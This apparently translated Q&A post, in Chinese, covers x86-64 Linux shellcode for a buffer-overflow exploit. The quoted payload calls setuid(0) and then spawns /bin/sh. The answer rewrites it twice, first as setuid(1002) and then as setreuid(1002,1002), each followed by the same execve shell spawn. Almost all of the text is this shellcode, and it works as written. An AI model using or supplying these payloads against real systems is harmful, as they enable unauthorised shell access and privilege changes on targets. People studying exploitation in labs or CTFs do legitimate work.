我使用的是下面的汇编代码 此处 setuid(0),并在缓冲区溢出时得到一个shell。
xor rdi,rdi
mov al,0x69
syscall
xor rdx,rdx
movabs rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
我需要修改为setuid(1002)而不是setuid(0)
我不明白在这个汇编代码中,setuid发生在哪里?
这个setuid为1002。
xor rdi,rdi
xor rax,rax
mov di, 1002
mov al,0x69
syscall
xor rdx,rdx
movabs rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
而这个setreuid为1002
xor rdi,rdi
xor rax,rax
xor rsi, rsi
mov si, 1002
mov di, 1002
mov al,0x71
syscall
xor rdx,rdx
movabs rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall